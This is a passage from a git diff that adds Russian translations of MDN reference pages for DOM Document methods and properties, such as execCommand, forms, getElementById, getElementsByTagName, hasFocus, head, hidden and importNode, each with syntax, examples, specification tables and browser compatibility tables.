Удаляет выделенное.
+
+ +
+
enableInlineTableEditing
+
Включает/выключает возможность вставки и удаления строк/столбцов таблицы. (Не поддерживается Internet Explorer.)
+
+ +
+
enableObjectResizing
+
Включает/выключает возможность изменения размера картинок и других объектов. (Не поддерживается Internet Explorer.)
+
+ +
+
fontName
+
Изменяет название шрифта для выделенного текста или с места ввода текста. Требует передачи в качестве аргумента наименования шрифта (напр., "Arial") 
+
+ +
+
fontSize
+
Изменяет размер шрифта  выделенного текста или с места ввода текста. Требует передачи в качестве аргумента размера шрифта (1-7).
+
+ +
+
foreColor
+
Изменяет цвет шрифта выделенного текста или с места ввода текста. Требует передачи в качестве аргумента наименования шрифта.
+
+ +
+
formatBlock
+
Добавляет тег HTML-блока вокруг строк, содержащих в себе выделенный текст, заменяя блочный элемент, содержащий такие строки, если он существует (в Firefox, BLOCKQUOTE  является исключением - он обернет любой блочный элемент). Требует передачи в качестве аргумента наименования Тега. Теоретически может использоваться любой блочный тег (напр., "H1", "P", "DL", "BLOCKQUOTE"). (Internet Explorer поддерживает только теги заголовков H1 - H6, ADDRESS и PRE, которые должны также быть заключены в символы < >, как например: "<H1>".)
+
+ +
+
forwardDelete
+
Удаляет символ справа от курсора, так же как при нажатии на клавишу delete.
+
heading
+
Добавляет тег заголовка вокруг выделенного текста либо в месте, где установлен курсор.
+ Требует передачи строки имени тега в качестве аргумента. (то есть "H1", "H6"). (Не поддерживается в Internet Explorer и Safari)
+
+ +
+
hiliteColor
+
Изменяет цвет фона для выделенного текста либо в месте, где установлен курсор. Требует передачи цвета в качестве аргумента. UseCSS должен быть включен для работы этой функции. (Не поддерживается в Internet Explorer)
+
+ +
+
increaseFontSize
+
Добавляет тег BIG вокруг выделенного текста или на месте курсора. (Не поддерживается в Internet Explorer)
+
+ +
+
indent
+
Добавляет отступ в строку, в которой расположен курсор (или что-то выделено). В Firefox, если выделение охватывает несколько строк с разными уровнями отступа, будут сдвинуты только строки с наименьшим отступом.
+
+ +
+
insertBrOnReturn
+
Добавляет тег {{HTMLElement("br")}} или разбивает текущий элемент на два блока. Не работает в Internet Explorer
+
+ +
+
insertHorizontalRule
+
Вставляет горизонтальную линию на месте курсора (удаляет выделение).
+
+ +
+
insertHTML
+
Вставляет HTML текст на месте курсора (удаляет выделенный текст). Требует передачи правильной HTML строки в качестве аргумента. (Не поддерживается в Internet Explorer)
+
+ +
+
insertImage
+
Вставляет изображение на место курсора (удаляет выделенный текст). Необходимо указывать ссылку на изображение в параметре "aValueArgument".  (Internet Explorer может создавать изображения с пустым SRC)
+
+ +
+
insertOrderedList
+
Создает пронумерованный список из выбранного или на месте курсора.
+
+ +
+
insertUnorderedList
+
Создает список из выбранного или на месте курсора.
+
+ +
+
insertParagraph
+
Вставляет параграф вокруг выделения или для текущей строки. (Internet Explorer вставляет параграф в месте курсора и удаляет выделенный текст)
+
insertText
+
Вставляет простой текст в месте курсора или выделения (выделенный текст будет заменен).
+
+ +
+
italic
+
Переключает курсив в месте курсора или выделения. (Internet Explorer использует теги {{HTMLElement("em")}} вместо {{HTMLElement("i")}}.)
+
+ +
+
justifyCenter
+
Центрирует строку, в которой есть выделение или установлен курсор.
+
+ +
+
justifyFull
+
Выравнивает по ширине строку, в которой есть выделение или установлен курсор.
+
+ +
+
justifyLeft
+
Выравнивает  по левому краю строку, в которой есть выделение или установлен курсор.
+
+ +
+
justifyRight
+
Выравнивает  по правому краю строку, в которой есть выделение или установлен курсор.
+
+ +
+
outdent
+
Добавляет выступ для строки, в которой расположен курсор (или что-то выделено).
+
+ +
+
paste
+
Вставляет данные из буфера обмена в место курсора или выделения (последнее заменяется). Доступ к буферу обмена должен быть включен в файле user.js
+
+ +
+
redo
+
Повтор последнего действия. (Если было отменено с помощью undo или ctrl+z)
+
+ +
+
removeFormat
+
Очищает форматирование для выделенного.
+
+ +
+
selectAll
+
Выделяет всё в редактируемом документе.
+
+ +
+
strikeThrough
+
Переключает зачеркивание текста для выделения или на месте курсора.
+
+ +
+
subscript
+
Переключает нижний индекс для выбранного или на месте курсора.
+
+ +
+
superscript
+
Переключает верхний индекс для выбранного или на месте курсора.
+
+ +
+
underline
+
Переключает подчёркивание для выбранного или на месте курсора.
+
+ +
+
undo
+
Отменяет последнее действие.
+
+ +
+
unlink
+
Удаляет ссылку или якорь для выбранной ссылки/якоря
+
+ +
+
useCSS {{ Deprecated_inline() }}
+
Переключает режим стилизации HTML и CSS для генерируемой разметки. Может принимать только булевы значения true/false. ПРИМЕЧАНИЕ: этот аргумент с перевернутой логикой (т.е. false = CSS / true = HTML). (Не поддерживается в Internet Explorer.) Внимание! Эта команда является устаревшей, используйте styleWithCSS.
+
+ +
+
styleWithCSS
+
Заменяет команду useCSS. Аргумент работает как ожидалось, т.е. true модифицирует/генерирует атрибуты стиля в разметке, false генерирует элементы форматирования.
+
+
+
+ +

Пример

+ +
iframeNode.execCommand("bold"); // Жирный текст
+iframeNode.execCommand("undo"); // Отмена последнего действия
+iframeNode.execCommand("insertText", false, "Lorem ipsum dolor sit amet, consectetur adipisicing elit."); // Вставка текста
+
+ +

Совместимость с браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatVersionUnknown() }}
insertBrOnReturn{{ CompatNo() }}{{ CompatVersionUnknown() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome для AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatVersionUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

Спецификация

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML Editing','#execcommand()','execCommand')}}{{Spec2('HTML Editing')}}
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/document/forms/index.html b/files/ru/web/api/document/forms/index.html new file mode 100644 index 0000000000..a6d356208b --- /dev/null +++ b/files/ru/web/api/document/forms/index.html @@ -0,0 +1,130 @@ +--- +title: Document.forms +slug: Web/API/Document/forms +tags: + - API + - DOM + - Document + - Forms + - Property +translation_of: Web/API/Document/forms +--- +
{{APIRef("DOM")}}
+ +

forms возвращает коллекцию ({{domxref("HTMLCollection")}}) форм в текущем документе

+ +
+

На заметку: Точно также Вы можете получить список элементов выбранной формы, используя свойство {{domxref("HTMLFormElement.elements")}}.

+
+ +

Синтаксис

+ +
collection = document.forms;
+ +

Значение

+ +

Объект {{domxref("HTMLCollection")}} содержит все формы, имеющиеся на странице. Каждый элемент этой коллекции - это {{domxref("HTMLFormElement")}}, представленный отдельным тегом <form>.

+ +

Если на странице форм нет, тогда возвращённый результат будет пустым, а длина коллекции равна нулю.

+ +

Примеры

+ +

Получение информации с формы

+ +
<!DOCTYPE html>
+<html lang="en">
+
+<head>
+<title>document.forms example</title>
+</head>
+
+<body>
+
+<form id="robby">
+  <input type="button" onclick="alert(document.forms[0].id);" value="robby's form" />
+</form>
+
+<form id="dave">
+  <input type="button" onclick="alert(document.forms[1].id);" value="dave's form" />
+</form>
+
+<form id="paul">
+  <input type="button" onclick="alert(document.forms[2].id);" value="paul's form" />
+</form>
+
+</body>
+</html>
+ +

Получение элемента формы

+ +
var selectForm = document.forms[index];
+var selectFormElement = document.forms[index].elements[index];
+ +

Обращение к форме по её имени

+ +
<!DOCTYPE html>
+<html lang="en">
+<head>
+  <title>document.forms example</title>
+</head>
+
+<body>
+
+<form name="login">
+  <input name="email" type="email">
+  <input name="password" type="password">
+  <button type="submit">Log in</button>
+</form>
+
+<script>
+  var loginForm = document.forms.login; // Or document.forms['login']
+  loginForm.elements.email.placeholder = 'test@example.com';
+  loginForm.elements.password.placeholder = 'password';
+</script>
+</body>
+</html>
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', '#dom-document-forms', 'Document.forms')}}{{ Spec2('HTML WHATWG') }}
{{SpecName('DOM2 HTML', 'html.html#ID-1689064', 'Document.forms')}}{{ Spec2('DOM2 Events') }}Начальное определение
+ +

Браузерная поддержка

+ + + +

{{Compat("api.Document.forms")}}

+ +

Смотрите также

+ + + +

{{APIRef("DOM")}}

+ + diff --git a/files/ru/web/api/document/getelementbyid/index.html b/files/ru/web/api/document/getelementbyid/index.html new file mode 100644 index 0000000000..3def765a4d --- /dev/null +++ b/files/ru/web/api/document/getelementbyid/index.html @@ -0,0 +1,156 @@ +--- +title: document.getElementById() +slug: Web/API/Document/getElementById +translation_of: Web/API/Document/getElementById +--- +
{{ ApiRef("DOM") }}
+ +
 
+ +

Возвращает ссылку на элемент по его идентификатору (ID); идентификатор является строкой, которая может быть использована для идентификации элемента; она может быть определена при помощи атрибута id в HTML или из скрипта.

+ +

Синтаксис

+ +
element = document.getElementById(id);
+
+ +

Параметры

+ +
+
id 
+
чувствительная к регистру строка, являющаяся уникальным идентификатором искомого элемента.
+
+ +

Возвращаемое значение

+ +
+
+

ссылка на объект типа {{domxref("Element")}} соответствующий указанному ID или null, если элемент с указанным ID не найден в документе.

+
+
+ +

Пример

+ +
<!DOCTYPE html>
+<html>
+<head>
+  <title>getElementById example</title>
+  <script>
+  function changeColor(newColor) {
+    var elem = document.getElementById("para1");
+    elem.style.color = newColor;
+  }
+  </script>
+</head>
+<body>
+  <p id="para1">Some text here</p>
+  <button onclick="changeColor('blue');">blue</button>
+  <button onclick="changeColor('red');">red</button>
+</body>
+</html>
+
+ +

Замечания

+ +

Начинающим следует знать, что верхний регистр в части имени метода 'Id' должен быть точным для корректного вызова функции; "getElementByID" будет не корректно, как бы естественно это ни казалось.

+ +

Если элементы с указанным id отсутствуют, функция вернёт null. Заметьте, что параметр id чувствителен к регистру, так document.getElementById("Main") вернёт null вместо элемента <div id="main">, потому что "M" и "m" различны для этого метода.

+ +

Элементы вне документа не ищутся getElementById(). При создании элемента и назначении ему ID, вам следует вставить элемент в дерево документа с помощью {{domxref("Node.insertBefore()")}} или подобным методом, до того как вы сможете получить к нему доступ при помощи getElementById():

+ +
var element = document.createElement("div");
+element.id = 'testqq';
+var el = document.getElementById('testqq'); // el will be null!
+
+ +

Не-HTML документы. Релизация DOM должна содержать информацию, сообщающую о том, какие атрибуты являются идентификаторами. Атрибуты с именем "id" не являются идентификаторами только если это не указано в описании типа документа (DTD). Атрибут "id" определён в качестве идентификатора в общих случаях XHTML, XUL, и других. От реализаций, которые не знают, какой атрибут является идентификатором, ожидается возврат null.

+ +

Спецификация

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('DOM1','level-one-html.html#method-getElementById','getElementById')}}{{Spec2('DOM1')}}Исходное определение интерфейса
{{SpecName('DOM2 Core','core.html#ID-getElBId','getElementById')}}{{Spec2('DOM2 Core')}}Заменяет DOM 1
{{SpecName('DOM3 Core','core.html#ID-getElBId','getElementById')}}{{Spec2('DOM3 Core')}}Заменяет DOM 2
{{SpecName('DOM WHATWG','#interface-nonelementparentnode','getElementById')}}{{Spec2('DOM WHATWG')}}Должен заменить DOM 3
+ +

Совместимось в браузерах

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка1.0{{ CompatGeckoDesktop(1.0) }}5.57.01.0
+
+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Базовая поддержка1.0{{ CompatGeckoMobile(1.0) }}6.06.01.0
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/document/getelementsbyclassname/index.html b/files/ru/web/api/document/getelementsbyclassname/index.html new file mode 100644 index 0000000000..df6fefb2b8 --- /dev/null +++ b/files/ru/web/api/document/getelementsbyclassname/index.html @@ -0,0 +1,125 @@ +--- +title: Document.getElementsByClassName() +slug: Web/API/Document/getElementsByClassName +translation_of: Web/API/Document/getElementsByClassName +--- +

{{APIRef("DOM")}}

+ +

Возвращает массивоподобный (итерируемый) объект всех дочерних элементов, соответствующих всем из указанных имен классов. В случае вызова по отношению к объекту 'document', поиск происходит по всему документу, включая корневой элемент. Вызывать {{domxref("Element.getElementsByClassName", "getElementsByClassName()")}} можно также применительно к любому элементу: возвращены будут лишь те элементы, которые являются потомками указанного корневого элемента и имеют при этом указанные классы.

+ +

Синтаксис

+ +
var elements = document.getElementsByClassName(names); // или:
+var elements = rootElement.getElementsByClassName(names);
+ + + +

Примеры

+ +

Получить все элементы класса 'test':

+ +
document.getElementsByClassName('test');
+ +

Получить все элементы, для которых заданы класс 'red' и класс 'test':

+ +
document.getElementsByClassName('red test');
+ +

Получить все элементы класса 'test', являющиеся дочерними для элемента с ID 'main':

+ +
document.getElementById('main').getElementsByClassName('test');
+ +

Мы также можем использовать методы из Array.prototype по отношению к любой {{ domxref("HTMLCollection") }}, передавая коллекцию в качестве значения this метода. Код в примере найдет все элементы 'div' с классом 'test':

+ +
var testElements = document.getElementsByClassName('test');
+var testDivs = Array.prototype.filter.call(testElements, function(testElement){
+    return testElement.nodeName === 'DIV';
+});
+ +

Получение элементов класса 'test'

+ +

Ниже приведен пример наиболее употребительного способа использования данного метода.

+ +
<!doctype html>
+<html>
+<head>
+    <meta charset="UTF-8">
+    <title>Document</title>
+</head>
+<body>
+    <div id="parent-id">
+        <p>hello word1</p>
+        <p class="test">hello word2</p>
+        <p >hello word3</p>
+        <p>hello word4</p>
+    </div>
+    <script>
+        var parentDOM = document.getElementById("parent-id");
+
+        var test=parentDOM.getElementsByClassName("test");//test is not target element
+        console.log(test);//HTMLCollection[1]
+
+        var testTarget=parentDOM.getElementsByClassName("test")[0];//hear , this element is target
+        console.log(testTarget);//<p class="test">hello word2</p>
+    </script>
+</body>
+</html>
+ +

Совместимость браузеров

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
УровеньChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{ CompatVersionUnknown() }}3.09.0{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
УровеньAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

Спецификация

+ + diff --git a/files/ru/web/api/document/getelementsbyname/index.html b/files/ru/web/api/document/getelementsbyname/index.html new file mode 100644 index 0000000000..73b8921d61 --- /dev/null +++ b/files/ru/web/api/document/getelementsbyname/index.html @@ -0,0 +1,90 @@ +--- +title: Document.getElementsByName() +slug: Web/API/Document/getElementsByName +translation_of: Web/API/Document/getElementsByName +--- +
{{APIRef("DOM")}}
+ +

Метод getElementsByName()  объекта {{domxref("Document")}} возвращает коллекцию {{domxref("NodeList")}} элементов с заданным  {{domxref("element.name","name")}}.

+ +

Синтаксис

+ +
var elements = document.getElementsByName(name);
+
+ + + +

Пример

+ +
<!DOCTYPE html>
+<html lang="en">
+<title>Example: using document.getElementsByName</title>
+
+<input type="hidden" name="up">
+<input type="hidden" name="down">
+
+<script>
+  var up_names = document.getElementsByName("up");
+  console.log(up_names[0].tagName); // displays "INPUT"
+</script>
+</html>
+
+ +

Notes

+ +

The {{domxref("element.name","name")}} attribute can only be applied in (X)HTML documents.

+ +

The returned {{domxref("NodeList")}} Collection contains all elements with the given name, such as {{htmlelement("meta")}}, {{htmlelement("object")}}, and even elements which do not support the name attribute at all.

+ +
+

The getElementsByName method works differently in IE10 and below. There, getElementsByName() also returns elements that have an id attribute with the specified value. Be careful not to use the same string as both a name and an id.

+
+ +
+

The getElementsByName method works differently in IE. There, getElementsByName() does not return all elements which may not have a name attribute (such as <span>).

+
+ +
+

Both IE and Edge return an {{domxref("HTMLCollection")}}, not a {{domxref("NodeList")}}

+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-document-getelementsbyname', "Document.getElementsByName()")}}{{ Spec2('HTML WHATWG') }} 
{{SpecName("DOM2 HTML", "html.html#ID-71555259", "Document.getElementsByName()")}}{{Spec2("DOM2 HTML")}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.Document.getElementsByName")}}

+ +

See also

+ + diff --git a/files/ru/web/api/document/getelementsbytagname/index.html b/files/ru/web/api/document/getelementsbytagname/index.html new file mode 100644 index 0000000000..2829204e72 --- /dev/null +++ b/files/ru/web/api/document/getelementsbytagname/index.html @@ -0,0 +1,103 @@ +--- +title: Document.getElementsByTagName() +slug: Web/API/Document/getElementsByTagName +tags: + - API + - DOM + - Ссылки + - метод +translation_of: Web/API/Document/getElementsByTagName +--- +
{{ ApiRef("DOM") }}
+ +
 
+ +

Возвращает {{domxref("HTMLCollection")}} элементов с указанным именем тега. Поиск осуществляется по всему документу, включая корневой узел. Возвращаемая HTMLCollection живая, это значит что она автоматически обновляет сама себя чтобы оставаться синхронизированной с DOM деревом без необходимости вызова document.getElementByTagName() снова.

+ +

Синтаксис

+ +
var elements = document.getElementsByTagName(name);
+ + + +
Примечание: Последняя W3C спецификация говорит что elements является HTMLCollection; между тем, данный метод возвращает {{domxref("NodeList")}} в WebKit браузерах. См. {{bug(14869)}} для большей информации.
+ +

Примеры

+ +

В следующем примере, getElementByTagName() стартует из отдельного родительского элемента и ищет сверху-вниз рекурсивно по DOM начиная с родительского элемента просматривая  дочерние элементы на соответствие тегов параметру name.

+ +

Отметим что когда узел в котором getElementsByTagName() был вызван не является узлом document, по факту используется метод {{domxref("element.getElementsByTagName()")}}.

+ +
<!DOCTYPE html>
+<html lang="en">
+<head>
+  <meta charset="UTF-8" />
+  <title>getElementsByTagName example</title>
+  <script>
+    function getAllParaElems() {
+      var allParas = document.getElementsByTagName("p");
+      var num = allParas.length;
+      alert("There are " + num + " paragraph in this document");
+    }
+
+    function div1ParaElems() {
+      var div1 = document.getElementById("div1");
+      var div1Paras = div1.getElementsByTagName("p");
+      var num = div1Paras.length;
+      alert("There are " + num + " paragraph in #div1");
+    }
+
+    function div2ParaElems() {
+      var div2 = document.getElementById("div2");
+      var div2Paras = div2.getElementsByTagName("p");
+      var num = div2Paras.length;
+      alert("There are " + num + " paragraph in #div2");
+    }
+  </script>
+</head>
+<body style="border: solid green 3px">
+  <p>Some outer text</p>
+  <p>Some outer text</p>
+
+  <div id="div1" style="border: solid blue 3px">
+    <p>Some div1 text</p>
+    <p>Some div1 text</p>
+    <p>Some div1 text</p>
+
+    <div id="div2" style="border: solid red 3px">
+      <p>Some div2 text</p>
+      <p>Some div2 text</p>
+    </div>
+  </div>
+
+  <p>Some outer text</p>
+  <p>Some outer text</p>
+
+  <button onclick="getAllParaElems();">
+    show all p elements in document</button><br />
+
+  <button onclick="div1ParaElems();">
+    show all p elements in div1 element</button><br />
+
+  <button onclick="div2ParaElems();">
+    show all p elements in div2 element</button>
+
+</body>
+</html>
+
+ +

Примечания

+ +

Когда вызывается на HTML document, getElementsByTagName() переводит в нижний регистр свой аргумент перед работой. Это может быть неожиданным при попытке найти соответствие для camelCase SVG элементов в поддереве HTML документа. В таком случае может быть полезен {{Domxref("document.getElementsByTagNameNS()")}}. См. также {{Bug(499656)}}.

+ +

document.getElementsByTagName() подобен {{domxref("element.getElementsByTagName()")}}, за исключением того что поиск охватывает весь документ.

+ +

Спецификации

+ + diff --git a/files/ru/web/api/document/getselection/index.html b/files/ru/web/api/document/getselection/index.html new file mode 100644 index 0000000000..e5ce193c90 --- /dev/null +++ b/files/ru/web/api/document/getselection/index.html @@ -0,0 +1,8 @@ +--- +title: Document.getSelection() +slug: Web/API/Document/getSelection +translation_of: Web/API/DocumentOrShadowRoot/getSelection +--- +

{{APIRef("DOM")}}

+ +

Этот метод работает в точности так же, как {{domxref("Window.getSelection()")}}; он возвращает объект {{domxref("Selection")}}, в котором содержатся данные о тексте, выделенном в документе на данный момент.

diff --git a/files/ru/web/api/document/hasfocus/index.html b/files/ru/web/api/document/hasfocus/index.html new file mode 100644 index 0000000000..e0a3a5114b --- /dev/null +++ b/files/ru/web/api/document/hasfocus/index.html @@ -0,0 +1,146 @@ +--- +title: Document.hasFocus() +slug: Web/API/Document/hasFocus +tags: + - API + - DOM + - Фокус + - метод +translation_of: Web/API/Document/hasFocus +--- +
{{APIRef}}
+ +
Метод Document.hasFocus() возвращает значение {{jsxref("Boolean")}}, указывающее имеет ли документ или любой элемент внутри документа фокус. Этот метод может быть использован, чтобы определить, имеет ли активный элемент в документе фокус.
+ +
+

При просмотре документа элемент с фокусом всегда является активным элементом документа, но активный элемент не обязательно должен иметь фокус. Например, активный элемент внутри всплывающего окна, которое находится не на переднем плане, не имеет фокус.

+
+ +

Синтаксис

+ +
focused = document.hasFocus();
+ +

Возвращаемое значение

+ +

false если активный элемент в документе не имеет фокуса; true если активный элемент в документе имеет фокус.

+ +

Пример

+ +
<!DOCTYPE html>
+<html lang="en">
+<head>
+<meta charset="UTF-8" />
+<title>TEST</title>
+<style>
+#message { font-weight: bold; }
+</style>
+<script>
+setInterval( checkPageFocus, 200 );
+
+function checkPageFocus() {
+  var info = document.getElementById("message");
+
+  if ( document.hasFocus() ) {
+    info.innerHTML = "Документ имеет фокус.";
+  } else {
+    info.innerHTML = "Документ не имеет фокус.";
+  }
+}
+
+function openWindow() {
+  window.open (
+    "http://developer.mozilla.org/",
+    "mozdev",
+    "width=640,
+    height=300,
+    left=150,
+    top=260"
+  );
+}
+</script>
+</head>
+<body>
+  <h1>JavaScript hasFocus пример</h1>
+  <div id="message">Ожидание действий со стороны пользователя</div>
+  <div><button onclick="openWindow()">Открыть новое окно</button></div>
+</body>
+</html>
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'interaction.html#dom-document-hasfocus', 'Document.hasFocus()')}}{{Spec2('HTML WHATWG')}}Initial definition
+ +

Совместимость с браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support30{{CompatVersionUnknown}}{{ CompatGeckoDesktop("1.9") }}6.012.10{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatGeckoMobile("1.9") }}{{ CompatUnknown() }}{{ CompatNo() }}{{ CompatUnknown() }}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/document/head/index.html b/files/ru/web/api/document/head/index.html new file mode 100644 index 0000000000..8645de05b4 --- /dev/null +++ b/files/ru/web/api/document/head/index.html @@ -0,0 +1,87 @@ +--- +title: Document.head +slug: Web/API/Document/head +tags: + - API + - Document + - Property +translation_of: Web/API/Document/head +--- +

{{APIRef("DOM")}}

+ +

Возвращает элемент {{HTMLElement("head")}} текущего документа. Если имеется более одного элемента <head>, будет возвращен первый из них.

+ +

Синтаксис

+ +
var objRef = document.head;
+
+ + + +

Значение

+ +

{{domxref("HTMLHeadElement")}}.

+ + + +

Пример

+ +
<!doctype html>
+<head id="my-document-head">
+  <title>Example: using document.head</title>
+</head>
+
+<script>
+  var theHead = document.head;
+
+  console.log(theHead.id); // "my-document-head";
+
+  console.log( theHead === document.querySelector("head") ); // true
+</script>
+ +

Примечание

+ +

document.head доступно только для чтения. Присвоить значение этому свойству нельзя. При попытке это сделать ошибка вызвана не будет, только если вы не используете Strict Mode. В данном случае будет вызвано {{jsxref("TypeError")}} .

+ + + +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG','dom.html#dom-document-head','Document.head')}}{{Spec2('HTML WHATWG')}}Начальное определение.
{{SpecName('HTML5.1','dom.html#dom-document-head','Document.head')}}{{Spec2('HTML5.1')}}
{{SpecName('HTML5 W3C','dom.html#dom-document-head','Document.head')}}{{Spec2('HTML5 W3C')}}
+ +

Браузерная поддержка

+ + + +

{{Compat("api.Document.head")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/document/height/index.html b/files/ru/web/api/document/height/index.html new file mode 100644 index 0000000000..f3735ba2f8 --- /dev/null +++ b/files/ru/web/api/document/height/index.html @@ -0,0 +1,55 @@ +--- +title: Document.height +slug: Web/API/Document/height +tags: + - Document + - HTML + - Obsolete + - Property +translation_of: Web/API/Document/height +--- +
{{APIRef("DOM")}} {{Obsolete_header}}
+ +
+

Заметка: Начиная с  {{Gecko("6.0")}}, document.height  больше не поддерживается. Используйте document.body.clientHeight. Также смотрите: {{domxref("element.clientHeight")}}.

+
+ +

Возвращает высоту {{domxref("document")}} объекта. В большинстве случаев, она соответствует {{HTMLElement("body")}} элементу документа.

+ +

Синтакс

+ +
height_value = document.height
+
+ +

Пример

+ +
// вывести высоту документа
+alert(document.height);
+
+ +

Альтернативы

+ +
document.body.clientHeight
+document.documentElement.clientHeight
+document.documentElement.scrollHeight
+
+ +

Спецификации

+ +

HTML5

+ +

Поддержка браузерами

+ + + +

{{Compat("api.Document.height")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/document/hidden/index.html b/files/ru/web/api/document/hidden/index.html new file mode 100644 index 0000000000..10dd2f8171 --- /dev/null +++ b/files/ru/web/api/document/hidden/index.html @@ -0,0 +1,43 @@ +--- +title: Document.hidden +slug: Web/API/Document/hidden +translation_of: Web/API/Document/hidden +--- +

{{ ApiRef("DOM") }}

+ +

Доступное только для чтения свойство Document.hidden возвращает булево значение, показывающее является ли страница скрытой или нет.

+ +

Синтакс

+ +
var boolean = document.hidden
+ +

Примеры

+ +
document.addEventListener("visibilitychange", function() {
+  console.log( document.hidden );
+  // Modify behavior...
+});
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Page Visibility API','#dom-document-hidden', 'Document.hidden')}}{{Spec2('Page Visibility API')}}Initial definition
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.Document.hidden")}}

diff --git a/files/ru/web/api/document/importnode/index.html b/files/ru/web/api/document/importnode/index.html new file mode 100644 index 0000000000..11cfa529ad --- /dev/null +++ b/files/ru/web/api/document/importnode/index.html @@ -0,0 +1,91 @@ +--- +title: Document.importNode() +slug: Web/API/Document/importNode +translation_of: Web/API/Document/importNode +--- +
{{APIRef("DOM")}}
+ +

Метод importNode()объекта {{domxref("Document")}} создает копию {{domxref("Node")}} или {{domxref("DocumentFragment")}} из другого документа, для последующей вставки в текущий документ.

+ +

Импортированный узел пока еще не включен в дерево документов. Чтобы добавить его, вам необходимо вызвать один из методов вставки, например,  {{domxref("Node.appendChild", "appendChild()")}} или {{domxref("Node.insertBefore", "insertBefore()")}} с узлом, который находится в дереве документов.

+ +

В отличие от {{domxref("document.adoptNode()")}}, исходный узел не удаляется из исходного документа. Импортированный узел является клоном оригинала.

+ +

Синтаксис

+ +
var node = document.importNode(externalNode, deep);
+
+ +
+
node
+
Копируемый узел из области видимости импортируемого документа . Свойство {{domxref("Node.parentNode")}} узла = null, до тех пор, пока он не будет вставлен в дерево документа.
+
externalNode
+
Внешний Node или DocumentFragment, который импортируется в настоящий документ.
+
deep
+
Булеан, контролирующий, необходимо ли импортировать всё DOM поддерево узла  externalNode. +
    +
  • Если deep установлен в true, узел externalNode и все его потомки будут скопированы.
    • +
  • Если deep установлен в false, ипморируется только externalNode  — новый узел не будет содержать потомков.
    • +
+
+
+ +
+

Note: In the DOM4 specification, deep was an optional argument with a default value of true.

+ +

This default has changed in the latest spec — the new default value is false. Though it's still an optional argument, you should always provide the deep argument for backward and forward compatibility. With Gecko 28.0 {{geckoRelease(28)}}, the console warns developers not to omit the argument. Starting with Gecko 29.0 {{geckoRelease(29)}}), a shallow clone is defaulted instead of a deep clone.

+
+ +

Example

+ +
var iframe = document.querySelector("iframe");
+var oldNode = iframe.contentWindow.document.getElementById("myNode");
+var newNode = document.importNode(oldNode, true);
+document.getElementById("container").appendChild(newNode);
+
+ +

Notes

+ + + +

Nodes from external documents should be cloned using document.importNode() (or adopted using document.adoptNode()) before they can be inserted into the current document. For more on the Node.ownerDocument issues, see the W3C DOM FAQ.

+ +

Firefox doesn't currently enforce this rule (it did for a while during the development of Firefox 3, but too many sites break when this rule is enforced). We encourage Web developers to fix their code to follow this rule for improved future compatibility.

+ + + +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM WHATWG", "#dom-document-importnode", "document.importNode()")}}{{Spec2("DOM WHATWG")}}
{{SpecName("DOM2 Core", "core.html#Core-Document-importNode", "document.importNode()")}}{{Spec2("DOM2 Core")}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.Document.importNode")}}

+ +

See also

+ + diff --git a/files/ru/web/api/document/index.html b/files/ru/web/api/document/index.html new file mode 100644 index 0000000000..a219bd597c --- /dev/null +++ b/files/ru/web/api/document/index.html @@ -0,0 +1,405 @@ +--- +title: Document +slug: Web/API/Document +tags: + - DOM +translation_of: Web/API/Document +--- +
{{ ApiRef("DOM") }}
+ +
+ +

